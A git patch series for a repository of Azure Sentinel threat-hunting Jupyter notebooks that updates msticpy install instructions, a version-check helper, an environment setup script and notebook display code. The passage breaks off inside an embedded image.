From 62b39ab44da035689b5650b4b8ed7b373fc06d6b Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Thu, 18 Jun 2020 17:23:48 -0700 Subject: [PATCH 01/23] Updated text and added instruction to install msticpy if not using Azure notebooks # Conflicts: # utils/nb_check.py --- ConfiguringNotebookEnvironment.ipynb | 7 +++++-- Entity Explorer - Account.ipynb | 7 +++++-- Entity Explorer - Domain & URL.ipynb | 5 ++++- Entity Explorer - IP Address.ipynb | 5 ++++- Entity Explorer - Linux Host.ipynb | 5 ++++- Entity Explorer - Windows Host.ipynb | 5 ++++- Guided Hunting - Office365-Exploring.ipynb | 5 ++++- ...d Investigation - MDATP Webshell Alerts.ipynb | 7 +++++-- Guided Investigation - Process-Alerts.ipynb | 5 ++++- Notebook Template.ipynb | 5 ++++- TroubleShootingNotebooks.ipynb | 10 +++++----- aznbsetup.sh | 16 +++++++++++++--- requirements.txt | 4 +--- 13 files changed, 62 insertions(+), 24 deletions(-) diff --git a/ConfiguringNotebookEnvironment.ipynb b/ConfiguringNotebookEnvironment.ipynb index e004a45f..ecb8170e 100644 --- a/ConfiguringNotebookEnvironment.ipynb +++ b/ConfiguringNotebookEnvironment.ipynb @@ -85,7 +85,10 @@ "pip install pkg_name --user --upgrade\n", "```\n", "\n", - "This will avoid permission errors by installing into your user folder." + "This will avoid permission errors by installing into your user folder.\n", + "\n", + "> **Note**: the use of the `--user` option is usually not required in a Conda environment \n", + "> since the Python packages are normally already installed in a user folder." ] }, { @@ -507,4 +510,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Entity Explorer - Account.ipynb b/Entity Explorer - Account.ipynb index 266c951a..8cf270e9 100644 --- a/Entity Explorer - Account.ipynb +++ b/Entity Explorer - Account.ipynb @@ -93,18 +93,21 @@ "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", + " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", diff --git a/Entity Explorer - Domain & URL.ipynb b/Entity Explorer - Domain & URL.ipynb index ab2de727..6f8d2d39 100644 --- a/Entity Explorer - Domain & URL.ipynb +++ b/Entity Explorer - Domain & URL.ipynb @@ -104,13 +104,16 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "extra_imports = [\n", " \"msticpy.nbtools, observationlist\",\n", diff --git a/Entity Explorer - IP Address.ipynb b/Entity Explorer - IP Address.ipynb index f777ea6c..ce680333 100644 --- a/Entity Explorer - IP Address.ipynb +++ b/Entity Explorer - IP Address.ipynb @@ -127,13 +127,16 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "extra_imports = [\n", " \"msticpy.nbtools.entityschema, IpAddress\",\n", diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index c2d7eb61..c7a5e18c 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -96,13 +96,16 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "extra_imports = [\n", " \"msticpy.nbtools, observationlist\",\n", diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb index 56e094a0..1fa3e251 100644 --- a/Entity Explorer - Windows Host.ipynb +++ b/Entity Explorer - Windows Host.ipynb @@ -88,13 +88,16 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", diff --git a/Guided Hunting - Office365-Exploring.ipynb b/Guided Hunting - Office365-Exploring.ipynb index 5b6bdc91..a82e99e8 100644 --- a/Guided Hunting - Office365-Exploring.ipynb +++ b/Guided Hunting - Office365-Exploring.ipynb @@ -114,13 +114,16 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "extra_imports = [\n", " \"dns, reversename\",\n", diff --git a/Guided Investigation - MDATP Webshell Alerts.ipynb b/Guided Investigation - MDATP Webshell Alerts.ipynb index b7f72879..7dd7498d 100644 --- a/Guided Investigation - MDATP Webshell Alerts.ipynb +++ b/Guided Investigation - MDATP Webshell Alerts.ipynb @@ -85,13 +85,16 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", - " check_mp_ver(MSTICPY_REQ_VERSION)\n", + " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb index 35c1c8db..60079fce 100644 --- a/Guided Investigation - Process-Alerts.ipynb +++ b/Guided Investigation - Process-Alerts.ipynb @@ -98,13 +98,16 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "\n", "nbinit.init_notebook(namespace=globals());" diff --git a/Notebook Template.ipynb b/Notebook Template.ipynb index f19de4ec..e04fbf80 100644 --- a/Notebook Template.ipynb +++ b/Notebook Template.ipynb @@ -88,13 +88,16 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", diff --git a/TroubleShootingNotebooks.ipynb b/TroubleShootingNotebooks.ipynb index e5b06ed9..289e8a32 100644 --- a/TroubleShootingNotebooks.ipynb +++ b/TroubleShootingNotebooks.ipynb @@ -112,7 +112,7 @@ "import warnings\n", "from IPython.display import display, HTML, Markdown\n", "\n", - "MSTICPY_REQ_VERSION = (0, 2, 7)\n", + "REQ_PYTHON_VER = (0, 2, 7)\n", "display(Markdown(\"#### Checking msticpy...\"))\n", "warn_mssg = []\n", "err_mssg = []\n", @@ -138,7 +138,7 @@ "if need_update:\n", " resp = input(\"Install the package now? (y/n)\")\n", " if resp.casefold().startswith(\"y\"):\n", - " !pip install --user --upgrade msticpy\n", + " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(msticpy)\n", " else:\n", @@ -147,7 +147,7 @@ " \n", " else:\n", " setup_warn(\"msticpy missing or out-of-date.\")\n", - " display(Markdown(\"Please run `pip install --user --upgrade msticpy` to upgrade/install msticpy\"))\n", + " display(Markdown(\"Please run `pip install --upgrade msticpy` to upgrade/install msticpy\"))\n", " " ] }, @@ -190,7 +190,7 @@ "if need_update:\n", " resp = input(\"Install the package now? (y/n)\")\n", " if resp.casefold().startswith(\"y\"):\n", - " !pip install --user --upgrade pandas\n", + " !pip install --upgrade pandas\n", " if \"pandas\" in sys.modules:\n", " importlib.reload(pd)\n", " else:\n", @@ -199,7 +199,7 @@ " \n", " else:\n", " setup_warn(\"pandas missing or out-of-date.\")\n", - " display(Markdown(\"Please run `pip install --user --upgrade pandas` to upgrade/install pandas\"))" + " display(Markdown(\"Please run `pip install --upgrade pandas` to upgrade/install pandas\"))" ] }, { diff --git a/aznbsetup.sh b/aznbsetup.sh index 417b5f5c..43f0f501 100644 --- a/aznbsetup.sh +++ b/aznbsetup.sh @@ -1,7 +1,17 @@ #!/bin/bash -# Activate environment -source /home/nbuser/anaconda3_501/bin/activate +# Activate environment (add this to the end of .bashrc) +source ~/anaconda3_501/bin/activate +echo >> ~.bashrc +echo source ~/anaconda3_501/bin/activate >> .bashrc +echo Started environment setup +date +touch ~/.mpnb.lock # pip -pip install -r /home/nbuser/library/requirements.txt \ No newline at end of file +pip install --upgrade pip +pip install --disable-pip-version-check -r ~/library/requirements.txt + +rm -f ~/.mpnb.lock +echo Environment setup complete +date \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 8e10c8cc..7f845d18 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1 @@ -Kqlmagic>=0.1.106 -msticpy>=0.2.6 -pandas==0.25 +msticpy>=0.5.0 From c6ee68d524280d706c067702087d9ad603f1f3cf Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Thu, 18 Jun 2020 20:23:31 -0700 Subject: [PATCH 02/23] Tidying up script and updating default versions. --- utils/nb_check.py | 84 ++++++++++++++++++++++++++--------------------- 1 file changed, 46 insertions(+), 38 deletions(-) diff --git a/utils/nb_check.py b/utils/nb_check.py index 1d5509d2..71e09f3c 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -4,32 +4,28 @@ # license information. # -------------------------------------------------------------------------- """Checker for Python and msticpy versions.""" -import importlib -import os import sys -import warnings -from IPython.display import display, HTML, Markdown +from IPython.display import display, HTML + -warn_mssg = [] -err_mssg = [] MISSING_PKG_ERR = """ -

The package '{package}' is not +

The package '{package}' is not installed or has an incorrect version

Please install this now

""" MIN_PYTHON_VER_DEF = (3, 6) -MSTICPY_REQ_VERSION = (0, 5, 0) +MSTICPY_REQ_VERSION = (0, 5, 2) def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): """ - Checks the current version of the Python kernel. - + Check the current version of the Python kernel. + Parameters ---------- min_py_ver : Tuple[int, int] Minimum Python version - + Raises ------ RuntimeError @@ -38,18 +34,22 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): """ display(HTML("Checking Python kernel version...")) if sys.version_info < min_py_ver: - display(HTML( - """ + display( + HTML( + """

This notebook requires a different notebook (Python) kernel version.

- From the Notebook menu (above), choose Kernel then + From the Notebook menu (above), choose Kernel then Change Kernel... from the menu.
Select a Python %s.%s (or later) version kernel and then re-run this cell.

- """ % min_py_ver - )) - display(HTML( """ + % min_py_ver + ) + ) + display( + HTML( + """ Please see the TroubleShootingNotebooks in this folder for more information

@@ -58,21 +58,24 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): ) raise RuntimeError("Python %s.%s or later kernel is required." % min_py_ver) - display(HTML( - "Python kernel version %s.%s.%s OK" % ( - sys.version_info[0], sys.version_info[1], sys.version_info[2] + display( + HTML( + "Python kernel version %s.%s.%s OK" + % (sys.version_info[0], sys.version_info[1], sys.version_info[2]) ) - )) + ) + +# pylint: disable=import-outside-toplevel def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): """ - Checks the current version of . - + Check and optionally update the current version of msticpy. + Parameters ---------- min_py_ver : Tuple[int, int] Minimum Python version - + Raises ------ RuntimeError @@ -82,26 +85,31 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): display(HTML("Checking msticpy version...")) try: import msticpy + mp_version = tuple([int(v) for v in msticpy.__version__.split(".")]) if mp_version < min_msticpy_ver: raise ImportError("msticpy %s.%s.%s or later is needed." % min_msticpy_ver) - + except ImportError: display(HTML(MISSING_PKG_ERR.format(package="msticpy"))) - resp = input("Install? (y/n)") + resp = input("Install? (y/n)") # nosec if resp.casefold().startswith("y"): raise ImportError("Install msticpy") - else: - display(HTML( + + display( + HTML( """ -

The notebook cannot be run without - the correct version of '%s' (%s.%s.%s or later) -

- Please see the - TroubleShootingNotebooks - in this folder for more information

- """ % ("msticpy", *min_msticpy_ver) - ) +

The notebook cannot be run without + the correct version of '%s' (%s.%s.%s or later) +

+ Please see the + TroubleShootingNotebooks + in this folder for more information

+ """ + % ("msticpy", *min_msticpy_ver) ) - raise RuntimeError("msticpy %s.%s.%s or later is required." % min_msticpy_ver) - display(HTML("msticpy version %s.%s.%s OK" % mp_version)) \ No newline at end of file + ) + raise RuntimeError( + "msticpy %s.%s.%s or later is required." % min_msticpy_ver + ) + display(HTML("msticpy version %s.%s.%s OK" % mp_version)) From d670ed2ded9077b2212b5e98653ea1223e7116f6 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Tue, 23 Jun 2020 15:50:20 -0700 Subject: [PATCH 03/23] Fixing notebooks for new MP version and output control --- Entity Explorer - Account.ipynb | 45 +- Entity Explorer - Domain & URL.ipynb | 28 +- Entity Explorer - IP Address.ipynb | 3950 ++++++++--------- Entity Explorer - Linux Host.ipynb | 20 +- Entity Explorer - Windows Host.ipynb | 1857 +++++++- ...tarted with Azure Sentinel Notebooks.ipynb | 2 +- ...nomalous Office365 Exchange Sessions.ipynb | 2 +- Guided Hunting - Office365-Exploring.ipynb | 12 +- ...nvestigation - MDATP Webshell Alerts.ipynb | 2 +- Guided Investigation - Process-Alerts.ipynb | 20 +- Guided Triage - Alerts.ipynb | 125 +- Notebook Template.ipynb | 6 +- ...Guided Hunting - Office365-Exploring.ipynb | 2 +- ...uided Investigation - Process-Alerts.ipynb | 4 +- ...p Linux-Windows-Office Investigation.ipynb | 6 +- utils/nb_check.py | 22 + 16 files changed, 3958 insertions(+), 2145 deletions(-) diff --git a/Entity Explorer - Account.ipynb b/Entity Explorer - Account.ipynb index 8cf270e9..f03f79a4 100644 --- a/Entity Explorer - Account.ipynb +++ b/Entity Explorer - Account.ipynb @@ -93,7 +93,6 @@ "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", " from utils.nb_check import check_python_ver, check_mp_ver\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", @@ -280,8 +279,7 @@ "| where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", "| summarize RowCount=count() by Table=$table\n", "'''.format(**acct_query_params())\n", - "%kql -query datasource_status\n", - "datasource_status_df = _kql_raw_result_.to_dataframe()\n", + "datasource_status_df = qry_prov.exec_query(datasource_status)\n", "\n", "#Display result as transposed matrix of datatypes availabel to query for the query period \n", "if len(datasource_status_df) > 0:\n", @@ -477,22 +475,35 @@ "\n", "def display_activity(selected_item):\n", " acct, source = selected_account(selected_item)\n", - " utils.md(f\"{acct} (source: {source})\", \"bold\")\n", + " outputs = []\n", + " title = HTML(f\"{acct} (source: {source})\")\n", + " outputs.append(title)\n", " if source == \"LinuxHostLogon\":\n", - " display(linux_logon_df[linux_logon_df[\"AccountName\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True))\n", + " outputs.append(\n", + " linux_logon_df[linux_logon_df[\"AccountName\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", " if source == \"WindowsHostLogon\":\n", - " display(win_logon_df[win_logon_df[\"TargetUserName\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True))\n", + " outputs.append(\n", + " win_logon_df[win_logon_df[\"TargetUserName\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", " if source == \"AADLogon\":\n", - " display(aad_signin_df[aad_signin_df[\"UserPrincipalName\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True))\n", + " outputs.append(\n", + " aad_signin_df[aad_signin_df[\"UserPrincipalName\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", " if source == \"AzureActivity\":\n", - " display(azure_activity_df[azure_activity_df[\"UserPrincipalName\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True))\n", + " outputs.append(\n", + " azure_activity_df[azure_activity_df[\"UserPrincipalName\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", " if source == \"O365Activity\":\n", - " display(o365_activity_df[o365_activity_df[\"UserId\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True))\n", + " outputs.append(\n", + " o365_activity_df[o365_activity_df[\"UserId\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", + " return outputs\n", "\n", "def selected_account(selected_acct):\n", " if not selected_acct:\n", @@ -567,7 +578,7 @@ "def disp_full_alert(alert):\n", " global related_alert\n", " related_alert = SecurityAlert(alert)\n", - " nbdisplay.display_alert(related_alert, show_entities=True)\n", + " return nbdisplay.format_alert(related_alert, show_entities=True)\n", "\n", "if related_alerts is not None and not related_alerts.empty:\n", " related_alerts[\"CompromisedEntity\"] = related_alerts[\"src_accountname\"]\n", @@ -628,7 +639,7 @@ " display(Markdown(\"No related bookmarks found.\"))\n", "\n", "def disp_bookmark(bookmark_id):\n", - " display(related_bkmark_df[related_bkmark_df[\"BookmarkId\"] == bookmark_id].T)\n", + " return related_bkmark_df[related_bkmark_df[\"BookmarkId\"] == bookmark_id].T\n", "\n", "if related_bkmark_df is not None and not related_bkmark_df.empty:\n", " display(Markdown(\"### Click on bookmark to view details.\"))\n", @@ -1669,4 +1680,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Entity Explorer - Domain & URL.ipynb b/Entity Explorer - Domain & URL.ipynb index 6f8d2d39..eb5a7e6b 100644 --- a/Entity Explorer - Domain & URL.ipynb +++ b/Entity Explorer - Domain & URL.ipynb @@ -10,7 +10,7 @@ }, "source": [ "# Entity Explorer - Domain and URL\n", - " <details>\n", + "
\n", "  Details...\n", "\n", " **Notebook Version:** 1.0
\n", @@ -25,7 +25,7 @@ " - Log Analytics - Syslog, SecurityEvent, DnsEvents, CommonSecurityLog, AzureNetworkAnalytics_CL
\n", "**TI Proviers Used**\n", " - VirusTotal, Open Page Rank, BrowShot(all required for certain elements), AlienVault OTX, IBM XForce (optional) - all providers require accounts and API keys\n", - " </details>\n", + "
\n", "\n", "This Notebooks brings together a series of tools and techniques to enable threat hunting within the context of a domain name or URL that has been identified as of interest. It provides a series of techniques to assist in determining whether a domain or URL is malicious. Once this has been established it provides an overview of the scope of the domain or URL across an environment, along with indicators of areas for further investigation such as hosts of interest. " ] @@ -142,7 +142,7 @@ }, "source": [ "### Get WorkspaceId and Authenticate to Log Analytics\n", - "<details>\n", + "
\n", "  Details...\n", "If you are using user/device authentication, run the following cell. \n", "- Click the 'Copy code to clipboard and authenticate' button.\n", @@ -162,7 +162,7 @@ "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", "On successful authentication you should see a ```popup schema``` button.\n", "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", - "</details>" + "
" ] }, { @@ -222,7 +222,7 @@ "#### Authentication and Configuration Problems\n", "\n", "
\n", - "<details>\n", + "
\n", " Click for details about configuring your authentication parameters\n", " \n", "The notebook is expecting your Azure Sentinel Tenant ID and Workspace ID to be configured in one of the following places:\n", @@ -234,7 +234,7 @@ "```%pfile config.json```\n", "\n", "For help with setting up your `msticpyconfig.yaml` see the [Setup](#Setup) section at the end of this notebook and the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", - "</details>" + "
" ] }, { @@ -470,7 +470,7 @@ }, "source": [ "### TLS Cert Details\n", - "Does the domain have an associated tls certificate and if so is that certificate blacklisted by abuse.ch?\n", + "Does the domain have an associated tls certificate and if so is that certificate in the malicious certs list held by abuse.ch?\n", "Details such as the certificate's subject and issuer can also provide indicators as to the domains nature." ] }, @@ -490,23 +490,23 @@ "else:\n", " scope = domain\n", "\n", - "# See if TLS cert is in abuse.ch blacklist and get cert details\n", - "result, x509 = dom_val.ssl_blacklisted(scope)\n", + "# See if TLS cert is in abuse.ch malicious certs list and get cert details\n", + "result, x509 = dom_val.in_abuse_list(scope)\n", "\n", "if x509 is not None:\n", " cert_df = pd.DataFrame({\"SN\" :[x509.serial_number],\n", " \"Subject\":[[(i.value) for i in x509.subject]],\n", " \"Issuer\": [[(i.value) for i in x509.issuer]],\n", " \"Expired\": [x509.not_valid_after],\n", - " \"In SSLBL?\": result})\n", + " \"InAbuseList\": result})\n", "\n", " display(cert_df.T)\n", " summary.add_observation(caption=\"TLS Summary\", description=f\"Summary of TLS certificate for {domain}\", data=cert_df)\n", - " md(\"If 'In SSLBL?' is True this shows that the SSL certificate figerprint appeared in the abuse.ch blacklist\")\n", + " md(\"If 'InAbuseList' is True this shows that the SSL certificate fingerprint appeared in the abuse.ch list\")\n", " graph_items.append((domain,result))\n", "\n", "else:\n", - " md(\"No Blacklisted TLS certificate was found.\")" + " md(\"No TLS certificate was found in abuse.ch lists.\")" ] }, { @@ -847,7 +847,7 @@ "# Show selected alert when selected\n", "if isinstance(related_alerts, pd.DataFrame) and not related_alerts.empty:\n", " display(Markdown('### Click on alert to view details.'))\n", - " rel_alert_select = nbwidgets.AlertSelector(alerts=related_alerts,\n", + " rel_alert_select = nbwidgets.SelectAlert(alerts=related_alerts,\n", " action=show_full_alert)\n", " rel_alert_select.display()\n", "else:\n", @@ -1429,4 +1429,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Entity Explorer - IP Address.ipynb b/Entity Explorer - IP Address.ipynb index ce680333..76b9ff01 100644 --- a/Entity Explorer - IP Address.ipynb +++ b/Entity Explorer - IP Address.ipynb @@ -1,1975 +1,1975 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Title: IP Explorer\n", - "<details>\n", - "  Details...\n", - " \n", - "**Notebook Version:** 1.0
\n", - "**Python Version:** Python 3.7 (including Python 3.6 - AzureML)
\n", - "**Required Packages**: kqlmagic, msticpy, pandas, numpy, matplotlib, networkx, ipywidgets, ipython, scikit_learn, dnspython, ipwhois, folium, holoviews
\n", - "**Platforms Supported**:\n", - "- Azure Notebooks Free Compute\n", - "- Azure Notebooks DSVM\n", - "- OS Independent\n", - "\n", - "**Data Sources Required**:\n", - "- Log Analytics \n", - " - Heartbeat\n", - " - SecurityAlert\n", - " - SecurityEvent\n", - " - AzureNetworkAnalytics_CL\n", - " \n", - "- (Optional) \n", - " - VirusTotal (with API key)\n", - " - Alienvault OTX (with API key) \n", - " - IBM Xforce (with API key) \n", - " - CommonSecurityLog\n", - "</details>\n", - "\n", - "\n", - "Brings together a series of queries and visualizations to help you assess the security state of an IP address. It works with both internal addresses and public addresses. \n", - "
For internal addresses it focuses on traffic patterns and behavior of the host using that IP address. For public IPs it lets you perform threat intelligence lookups, passive dns, whois and other checks. \n", - "
It also allows you to examine any network traffic between the external IP address and your resources." - ] - }, - { - "cell_type": "markdown", - "metadata": { - "toc": true - }, - "source": [ - "

Table of Contents

\n", - "
" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "## Hunting Hypothesis\n", - "Our broad initial hunting hypothesis is that a we have received IP address entity which is suspected to be compromized internal host or external public address to whom internal hosts are communicating in malicious manner, we will need to hunt from a range of different positions to validate or disprove this hypothesis.\n", - "\n", - "Before you start hunting please run the cells in Setup at the bottom of this Notebook." - ] - }, - { - "attachments": { - "ipexplorer-mindmapv2.PNG": { - "image/png": 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xfOGiOdXHz7m4DvpkZMBPnvfLEeTmr3i0DrdcuuT+vvdVfhZPGCehnFKuhHmaQab2iILlvO5au340PJqvSzc8U4edvnftgnrb9bteqsOA37lq/uj+Pz9y7ITPmuGcLu0w3XjvDsqInAnGfmvuDUetjxLGS9gnbVGWJzCUNklAqywrYa6E3rLv0ibN8F3kWDlmwlj5PFqP1jl/7sLL67BjOeeUyzbN6x/ZJtsmpJvPuZ65rs3wZGm/9IP0h7K8qYxi2A4o9vP+pZxDu24lbJh2KbMeZaCBhKCa9Us/yB+y5zhfvezquq+VwFXpK5FREdNHy4i37Xul3zYvAc/cEyUAFyVoVt5b93vvxHihv7xTzfHbgytkm7RZ+lHa6PFtL44532yX883XnGNz/82gaCkf7Xugq1zXsnZbjl7Tkfb4K5dfM1qu9PNS1wsW3V3Xa9aSX743TtulDUuYPMsSNk3Qt3ldvnv1/HoEyXJdYrx2TNi5PCva605l47VJ7qf0xQR0y33UfKaVvt58Nndd/3Kft5/tZQTUXL98zkyDmXGw+RyPhMZzX+cezed+93e8yr1eno/lc/sZVAL2aYNyr/fz/O73e9GxfM/KvZVrVYLzpWw/33tTv5xbZpEr2+br+yMDH6nP5VieVwCDQqAUAGAI5IfrvKTIi6j8gNz8a09OrvJCZ7wXwZGXc7etfrJ+CdX863+YDvrtx9PNJ29cXU97/+uXfbC/xAcAAGB6+NXfv6T6i5dcV33qmsXVp6+/e1ynXbekcx9NJdiVwE9bwiVluumESRLqKoGT5j4yUmgJlZVgWH6GbgZomvrd13g/iydI1Awy5d1fAmQJIOVzwjRdYbBmkPH02fPqEGo7WFfCQs1wTpd2mK5XfTNFcAJRCUBltL20UXN90RW86qVdx151TtAngZ9Sp1LHZlCoSJmyfYKWKVeCo0XeuSYsVsqVwNf9Tz87GiDrRwJpzbYr+nn/UgKb7bpF9pvrm+ucdk5gq6uf5fyuuO/B6rMXXD5meVP7epR7pYQg+23zEmprTw0eZTTH9NN+7p0i+065tFdzea5pQn7tUSOjuU2C1+n7CWJnXTl2CWUmdNncf6++2b4Husp1LWu35XjX9Jxb7qiDpL3um2i3RwkSZwTHBOTb5Yte7RgleFcCxRP5/K0PVX/5tkemtS8s/GWIsJeuNkkbZmTXjESc+ynPziwvz9Pcd/lcrmsJekbX9c++c4wcqyyL8kwu/aJ5fzTLldF0Sz/vd3/Hq32v97r3I0HkErpsLm9qb9/v96Jj+Z7Vvjcj2/TzvbcEgyPT9TfLFcfyvAIYFAKlAABDIH8Nmr9IzYvkvMAY78URJ1avFzptCZNmipS8cG3+ZS9MB/324+nmL8z6WR0o/c2b13SuBwAAYHr7+OU3V7+z8WB1/uE/rub+0Z9W1/xJdUx+6+HNnfstSgAoAcNMWRuPPL/1qCm7S2AlwaAuzeBKwj8JrGR5wi8Z+TFTUJcATL/7Gu9n8Yy+mJEhmyPlNUeFyzZd+y4Sbirn3g4bdYVzurQDO6W+XcfLiG1rt+8cM0JlW1fwqkj7Pf3Sy3XArbnfUsdedS7LSxv2OudImbJ9Kdc8VlMpl5Ht7n7q6fqdXgJ8me490z0nRNvef1NX2Cn6ef8y3jmUdQlH9WqTLgmlLVz9RH3sXKvmuZbr0T5ur/2X5eUcxruuWVYCsPk80b1TZN+pa9qruTwB0YT+EqhsLo/mNuVcSvCv3E9lhN/2/nudQ/s6dpXrWtZuy/bn8STglsBryme/RbO+6X8JzuVa5p5JsDjHb478G73aMbrq3cuHf++i6qr/0//a+Qw+Xhe8+190Lv+g/vxPx5+KPG3SbNemjFpZ/sggEkpMfy0jbea+Sz9qjo7b1Y5p77R7jlWWNZeXfjDe9cm6Eozsd39tpW5Fr2O17/Ve935kn817O